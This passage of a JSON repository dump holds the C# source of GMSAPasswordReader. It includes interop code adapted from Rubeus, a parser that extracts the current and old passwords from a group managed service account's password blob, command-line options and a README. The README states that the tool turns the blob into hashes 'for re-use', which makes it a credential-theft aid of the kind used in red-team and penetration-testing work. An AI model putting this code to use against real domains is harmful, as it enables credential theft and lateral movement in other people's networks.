DS_FORCE_REDISCOVERY = 0x00000001,\n            DS_DIRECTORY_SERVICE_REQUIRED = 0x00000010,\n            DS_DIRECTORY_SERVICE_PREFERRED = 0x00000020,\n            DS_GC_SERVER_REQUIRED = 0x00000040,\n            DS_PDC_REQUIRED = 0x00000080,\n            DS_BACKGROUND_ONLY = 0x00000100,\n            DS_IP_REQUIRED = 0x00000200,\n            DS_KDC_REQUIRED = 0x00000400,\n            DS_TIMESERV_REQUIRED = 0x00000800,\n            DS_WRITABLE_REQUIRED = 0x00001000,\n            DS_GOOD_TIMESERV_PREFERRED = 0x00002000,\n            DS_AVOID_SELF = 0x00004000,\n            DS_ONLY_LDAP_NEEDED = 0x00008000,\n            DS_IS_FLAT_NAME = 0x00010000,\n            DS_IS_DNS_NAME = 0x00020000,\n            DS_RETURN_DNS_NAME = 0x40000000,\n            DS_RETURN_FLAT_NAME = 0x80000000\n        }\n\n        [DllImport(\"Netapi32.dll\", SetLastError = true)]\n        static extern int NetApiBufferFree(IntPtr Buffer);\n    }\n}\n"
  },
  {
    "path": "Interop.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Runtime.InteropServices;\nusing System.Text;\nusing System.Threading.Tasks;\n\nnamespace GMSAPasswordReader\n{\n    /// <summary>\n    /// Taken and stripped from https://github.com/GhostPack/Rubeus/blob/master/Rubeus/lib/Interop.cs\n    /// </summary>\n    public class Interop\n    {\n        // constants\n\n        \n        // Enums\n        // from https://tools.ietf.org/html/rfc3961\n        public enum KERB_ETYPE : UInt32\n        {\n            des_cbc_crc = 1,\n            des_cbc_md4 = 2,\n            des_cbc_md5 = 3,\n            des3_cbc_md5 = 5,\n            des3_cbc_sha1 = 7,\n            dsaWithSHA1_CmsOID = 9,\n            md5WithRSAEncryption_CmsOID = 10,\n            sha1WithRSAEncryption_CmsOID = 11,\n            rc2CBC_EnvOID = 12,\n            rsaEncryption_EnvOID = 13,\n            rsaES_OAEP_ENV_OID = 14,\n            des_ede3_cbc_Env_OID = 15,\n            des3_cbc_sha1_kd = 16,\n            aes128_cts_hmac_sha1 = 17,\n            aes256_cts_hmac_sha1 = 18,\n            rc4_hmac = 23,\n            rc4_hmac_exp = 24,\n            subkey_keymaterial = 65\n        }\n        \n        // structs\n        // From Vincent LE TOUX' \"MakeMeEnterpriseAdmin\"\n        //  https://github.com/vletoux/MakeMeEnterpriseAdmin/blob/master/MakeMeEnterpriseAdmin.ps1#L1773-L1794\n        [StructLayout(LayoutKind.Sequential)]\n        public struct KERB_ECRYPT\n        {\n            int Type0;\n            public int BlockSize;\n            int Type1;\n            public int KeySize;\n            public int Size;\n            int unk2;\n            int unk3;\n            public IntPtr AlgName;\n            public IntPtr Initialize;\n            public IntPtr Encrypt;\n            public IntPtr Decrypt;\n            public IntPtr Finish;\n            public IntPtr HashPassword;\n            IntPtr RandomKey;\n            IntPtr Control;\n            IntPtr unk0_null;\n            IntPtr unk1_null;\n            IntPtr unk2_null;\n        }\n\n        [StructLayout(LayoutKind.Sequential)]\n        public struct UNICODE_STRING : IDisposable\n        {\n            public ushort Length;\n            public ushort MaximumLength;\n            public IntPtr buffer;\n\n            public UNICODE_STRING(string s)\n            {\n                Length = (ushort)(s.Length * 2);\n                MaximumLength = (ushort)(Length + 2);\n                buffer = Marshal.StringToHGlobalUni(s);\n            }\n\n            public void Dispose()\n            {\n                Marshal.FreeHGlobal(buffer);\n                buffer = IntPtr.Zero;\n            }\n\n            public override string ToString()\n            {\n                return Marshal.PtrToStringUni(buffer);\n            }\n        }\n        \n\n        // functions\n        // Adapted from Vincent LE TOUX' \"MakeMeEnterpriseAdmin\"\n        [DllImport(\"cryptdll.Dll\", CharSet = CharSet.Auto, SetLastError = false)]\n        public static extern int CDLocateCSystem(KERB_ETYPE type, out IntPtr pCheckSum);\n\n        public delegate int KERB_ECRYPT_HashPassword(UNICODE_STRING Password, UNICODE_STRING Salt, int count, byte[] output);\n\n    }\n}\n"
  },
  {
    "path": "LICENSE",
    "content": "                                 Apache License\n                           Version 2.0, January 2004\n                        http://www.apache.org/licenses/\n\n   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION\n\n   1. Definitions.\n\n      \"License\" shall mean the terms and conditions for use, reproduction,\n      and distribution as defined by Sections 1 through 9 of this document.\n\n      \"Licensor\" shall mean the copyright owner or entity authorized by\n      the copyright owner that is granting the License.\n\n      \"Legal Entity\" shall mean the union of the acting entity and all\n      other entities that control, are controlled by, or are under common\n      control with that entity. For the purposes of this definition,\n      \"control\" means (i) the power, direct or indirect, to cause the\n      direction or management of such entity, whether by contract or\n      otherwise, or (ii) ownership of fifty percent (50%) or more of the\n      outstanding shares, or (iii) beneficial ownership of such entity.\n\n      \"You\" (or \"Your\") shall mean an individual or Legal Entity\n      exercising permissions granted by this License.\n\n      \"Source\" form shall mean the preferred form for making modifications,\n      including but not limited to software source code, documentation\n      source, and configuration files.\n\n      \"Object\" form shall mean any form resulting from mechanical\n      transformation or translation of a Source form, including but\n      not limited to compiled object code, generated documentation,\n      and conversions to other media types.\n\n      \"Work\" shall mean the work of authorship, whether in Source or\n      Object form, made available under the License, as indicated by a\n      copyright notice that is included in or attached to the work\n      (an example is provided in the Appendix below).\n\n      \"Derivative Works\" shall mean any work, whether in Source or Object\n      form, that is based on (or derived from) the Work and for which the\n      editorial revisions, annotations, elaborations, or other modifications\n      represent, as a whole, an original work of authorship. For the purposes\n      of this License, Derivative Works shall not include works that remain\n      separable from, or merely link (or bind by name) to the interfaces of,\n      the Work and Derivative Works thereof.\n\n      \"Contribution\" shall mean any work of authorship, including\n      the original version of the Work and any modifications or additions\n      to that Work or Derivative Works thereof, that is intentionally\n      submitted to Licensor for inclusion in the Work by the copyright owner\n      or by an individual or Legal Entity authorized to submit on behalf of\n      the copyright owner. For the purposes of this definition, \"submitted\"\n      means any form of electronic, verbal, or written communication sent\n      to the Licensor or its representatives, including but not limited to\n      communication on electronic mailing lists, source code control systems,\n      and issue tracking systems that are managed by, or on behalf of, the\n      Licensor for the purpose of discussing and improving the Work, but\n      excluding communication that is conspicuously marked or otherwise\n      designated in writing by the copyright owner as \"Not a Contribution.\"\n\n      \"Contributor\" shall mean Licensor and any individual or Legal Entity\n      on behalf of whom a Contribution has been received by Licensor and\n      subsequently incorporated within the Work.\n\n   2. Grant of Copyright License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      copyright license to reproduce, prepare Derivative Works of,\n      publicly display, publicly perform, sublicense, and distribute the\n      Work and such Derivative Works in Source or Object form.\n\n   3. Grant of Patent License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      (except as stated in this section) patent license to make, have made,\n      use, offer to sell, sell, import, and otherwise transfer the Work,\n      where such license applies only to those patent claims licensable\n      by such Contributor that are necessarily infringed by their\n      Contribution(s) alone or by combination of their Contribution(s)\n      with the Work to which such Contribution(s) was submitted. If You\n      institute patent litigation against any entity (including a\n      cross-claim or counterclaim in a lawsuit) alleging that the Work\n      or a Contribution incorporated within the Work constitutes direct\n      or contributory patent infringement, then any patent licenses\n      granted to You under this License for that Work shall terminate\n      as of the date such litigation is filed.\n\n   4. Redistribution. You may reproduce and distribute copies of the\n      Work or Derivative Works thereof in any medium, with or without\n      modifications, and in Source or Object form, provided that You\n      meet the following conditions:\n\n      (a) You must give any other recipients of the Work or\n          Derivative Works a copy of this License; and\n\n      (b) You must cause any modified files to carry prominent notices\n          stating that You changed the files; and\n\n      (c) You must retain, in the Source form of any Derivative Works\n          that You distribute, all copyright, patent, trademark, and\n          attribution notices from the Source form of the Work,\n          excluding those notices that do not pertain to any part of\n          the Derivative Works; and\n\n      (d) If the Work includes a \"NOTICE\" text file as part of its\n          distribution, then any Derivative Works that You distribute must\n          include a readable copy of the attribution notices contained\n          within such NOTICE file, excluding those notices that do not\n          pertain to any part of the Derivative Works, in at least one\n          of the following places: within a NOTICE text file distributed\n          as part of the Derivative Works; within the Source form or\n          documentation, if provided along with the Derivative Works; or,\n          within a display generated by the Derivative Works, if and\n          wherever such third-party notices normally appear. The contents\n          of the NOTICE file are for informational purposes only and\n          do not modify the License. You may add Your own attribution\n          notices within Derivative Works that You distribute, alongside\n          or as an addendum to the NOTICE text from the Work, provided\n          that such additional attribution notices cannot be construed\n          as modifying the License.\n\n      You may add Your own copyright statement to Your modifications and\n      may provide additional or different license terms and conditions\n      for use, reproduction, or distribution of Your modifications, or\n      for any such Derivative Works as a whole, provided Your use,\n      reproduction, and distribution of the Work otherwise complies with\n      the conditions stated in this License.\n\n   5. Submission of Contributions. Unless You explicitly state otherwise,\n      any Contribution intentionally submitted for inclusion in the Work\n      by You to the Licensor shall be under the terms and conditions of\n      this License, without any additional terms or conditions.\n      Notwithstanding the above, nothing herein shall supersede or modify\n      the terms of any separate license agreement you may have executed\n      with Licensor regarding such Contributions.\n\n   6. Trademarks. This License does not grant permission to use the trade\n      names, trademarks, service marks, or product names of the Licensor,\n      except as required for reasonable and customary use in describing the\n      origin of the Work and reproducing the content of the NOTICE file.\n\n   7. Disclaimer of Warranty. Unless required by applicable law or\n      agreed to in writing, Licensor provides the Work (and each\n      Contributor provides its Contributions) on an \"AS IS\" BASIS,\n      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n      implied, including, without limitation, any warranties or conditions\n      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A\n      PARTICULAR PURPOSE. You are solely responsible for determining the\n      appropriateness of using or redistributing the Work and assume any\n      risks associated with Your exercise of permissions under this License.\n\n   8. Limitation of Liability. In no event and under no legal theory,\n      whether in tort (including negligence), contract, or otherwise,\n      unless required by applicable law (such as deliberate and grossly\n      negligent acts) or agreed to in writing, shall any Contributor be\n      liable to You for damages, including any direct, indirect, special,\n      incidental, or consequential damages of any character arising as a\n      result of this License or out of the use or inability to use the\n      Work (including but not limited to damages for loss of goodwill,\n      work stoppage, computer failure or malfunction, or any and all\n      other commercial damages or losses), even if such Contributor\n      has been advised of the possibility of such damages.\n\n   9. Accepting Warranty or Additional Liability. While redistributing\n      the Work or Derivative Works thereof, You may choose to offer,\n      and charge a fee for, acceptance of support, warranty, indemnity,\n      or other liability obligations and/or rights consistent with this\n      License. However, in accepting such obligations, You may act only\n      on Your own behalf and on Your sole responsibility, not on behalf\n      of any other Contributor, and only if You agree to indemnify,\n      defend, and hold each Contributor harmless for any liability\n      incurred by, or claims asserted against, such Contributor by reason\n      of your accepting any such warranty or additional liability.\n\n   END OF TERMS AND CONDITIONS\n\n   APPENDIX: How to apply the Apache License to your work.\n\n      To apply the Apache License to your work, attach the following\n      boilerplate notice, with the fields enclosed by brackets \"[]\"\n      replaced with your own identifying information. (Don't include\n      the brackets!)  The text should be enclosed in the appropriate\n      comment syntax for the file format. We also recommend that a\n      file or class name and description of purpose be included on the\n      same \"printed page\" as the copyright notice for easier\n      identification within third-party archives.\n\n   Copyright [yyyy] [name of copyright owner]\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n"
  },
  {
    "path": "MsDsManagedPassword.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.IO;\nusing System.Linq;\nusing System.Text;\nusing System.Threading.Tasks;\n\nnamespace GMSAPasswordReader\n{\n    /// <summary>\n    /// Adapted entirely from Mark Gamache's script found here: https://github.com/markgamache/gMSA/blob/master/PSgMSAPwd\n    /// All the hard work and credit goes to him\n    /// </summary>\n\n    internal class MsDsManagedPassword\n    {\n        internal short Version { get; set; }\n        internal string CurrentPassword { get; set; }\n        internal string OldPassword { get; set; }\n        internal DateTime NextQueryTime { get; set; }\n        internal DateTime PasswordGoodUntil { get; set; }\n\n        internal MsDsManagedPassword(byte[] blob)\n        {\n            using (var stream = new MemoryStream(blob))\n            {\n                using (var reader = new BinaryReader(stream))\n                {\n                    Version = reader.ReadInt16();\n                    reader.ReadInt16();\n\n                    var length = reader.ReadInt32();\n\n                    if (length != blob.Length)\n                    {\n                        throw new Exception(\"Missized blob\");\n                    }\n\n                    var curPwdOffset = reader.ReadInt16();\n                    CurrentPassword = GetUnicodeString(blob, curPwdOffset);\n\n                    var oldPwdOffset = reader.ReadInt16();\n                    if (oldPwdOffset > 0)\n                    {\n                        OldPassword = GetUnicodeString(blob, oldPwdOffset);\n                    }\n\n                    var queryPasswordIntervalOffset = reader.ReadInt16();\n                    var queryPasswordIntervalTicks = BitConverter.ToInt64(blob, queryPasswordIntervalOffset);\n                    NextQueryTime = DateTime.Now + TimeSpan.FromTicks(queryPasswordIntervalTicks);\n\n                    var unchangedPasswordIntervalOffset = reader.ReadInt16();\n                    var unchangedPasswordIntervalTicks = BitConverter.ToInt64(blob, unchangedPasswordIntervalOffset);\n                    PasswordGoodUntil = DateTime.Now + TimeSpan.FromTicks(unchangedPasswordIntervalTicks);\n                }\n            }\n        }\n\n        private string GetUnicodeString(byte[] blob, int index)\n        {\n            var stOut = \"\";\n\n            for (var i = index; i < blob.Length; i += 2)\n            {\n                var ch = BitConverter.ToChar(blob, i);\n                if (ch == char.MinValue)\n                {\n                    //found the end  .    A null-terminated WCHAR string\n                    return stOut;\n                }\n                stOut += ch;\n            }\n\n            return null;\n        }\n    }\n}\n"
  },
  {
    "path": "Options.cs",
    "content": "﻿using System;\nusing System.Collections.Generic;\nusing System.Linq;\nusing System.Text;\nusing System.Threading.Tasks;\nusing CommandLine;\nusing CommandLine.Text;\n\nnamespace GMSAPasswordReader\n{\n    internal class Options\n    {\n        [Option(Default = null, HelpText = \"Domain name the account belongs too.\")]\n        public string DomainName { get; set; }\n\n        [Option(Default = null, HelpText = \"Hostname of a domain controller to query from\")]\n        public string DomainController { get; set; }\n\n        [Option(Default = 389, HelpText = \"Override port used to connect to LDAP\")]\n        public int LdapPort { get; set; }\n\n        [Option(Required = true, HelpText = \"Account Name of the GMSA\")]\n        public string AccountName { get; set; }\n\n        [Usage(ApplicationAlias = \"GMSAPasswordReader\")]\n        public static IEnumerable<Example> Examples =>\n            new List<Example>\n            {\n                new Example(\"Retrieve password for the account jkohler in your current domain\", new Options{ AccountName = \"jkohler\"}),\n                new Example(\"Retrieve password for the account arobbins in the domain testlab\", new Options\n                {\n                    AccountName = \"arobbins\",\n                    DomainName = \"testlab.local\"\n                })\n            };\n    }\n}\n"
  },
  {
    "path": "Properties/AssemblyInfo.cs",
    "content": "﻿using System.Reflection;\nusing System.Runtime.CompilerServices;\nusing System.Runtime.InteropServices;\n\n// General Information about an assembly is controlled through the following\n// set of attributes. Change these attribute values to modify the information\n// associated with an assembly.\n[assembly: AssemblyTitle(\"GMSAPasswordReader\")]\n[assembly: AssemblyDescription(\"\")]\n[assembly: AssemblyConfiguration(\"\")]\n[assembly: AssemblyCompany(\"\")]\n[assembly: AssemblyProduct(\"GMSAPasswordReader\")]\n[assembly: AssemblyCopyright(\"Copyright ©  2020\")]\n[assembly: AssemblyTrademark(\"\")]\n[assembly: AssemblyCulture(\"\")]\n\n// Setting ComVisible to false makes the types in this assembly not visible\n// to COM components.  If you need to access a type in this assembly from\n// COM, set the ComVisible attribute to true on that type.\n[assembly: ComVisible(false)]\n\n// The following GUID is for the ID of the typelib if this project is exposed to COM\n[assembly: Guid(\"c8112750-972d-4efa-a75b-da9b8a4533c7\")]\n\n// Version information for an assembly consists of the following four values:\n//\n//      Major Version\n//      Minor Version\n//      Build Number\n//      Revision\n//\n// You can specify all the values or you can default the Build and Revision Numbers\n// by using the '*' as shown below:\n// [assembly: AssemblyVersion(\"1.0.*\")]\n[assembly: AssemblyVersion(\"1.0.0.0\")]\n[assembly: AssemblyFileVersion(\"1.0.0.0\")]\n"
  },
  {
    "path": "README.md",
    "content": "# GMSAPasswordReader\n\n## Description\n\nReads the password blob from a GMSA account using LDAP, and parses the values into hashes for re-use.\n\n## Compiling\nClone this project and build using Visual Studio.\n\n## Usage\n./GMSAPasswordReader --AccountName jkohler\n\n## Previous Work and Acknowledgements\nHuge thanks to [Mark Gamache](https://github.com/markgamache) for the basis of this program and doing all the hard work of figuring out the structures.\n\nBig thanks to [Will Schroeder](https://twitter.com/harmj0y?lang=en) and [Benjamin Delpy](https://twitter.com/gentilkiwi) for the code used to generate hashes."
  },
  {
    "path": "app.config",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<configuration>\n<startup><supportedRuntime version=\"v4.0\" sku=\".NETFramework,Version=v4.5.2\"/></startup></configuration>\n"
  },
  {
    "path": "packages.config",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<packages>\n  <package id=\"CommandLineParser\" version=\"2.7.82\" targetFramework=\"net452\" />\n  <package id=\"Costura.Fody\" version=\"4.1.0\" targetFramework=\"net452\" />\n  <package id=\"Fody\" version=\"6.0.0\" targetFramework=\"net452\" developmentDependency=\"true\" />\n</packages>"
  }
]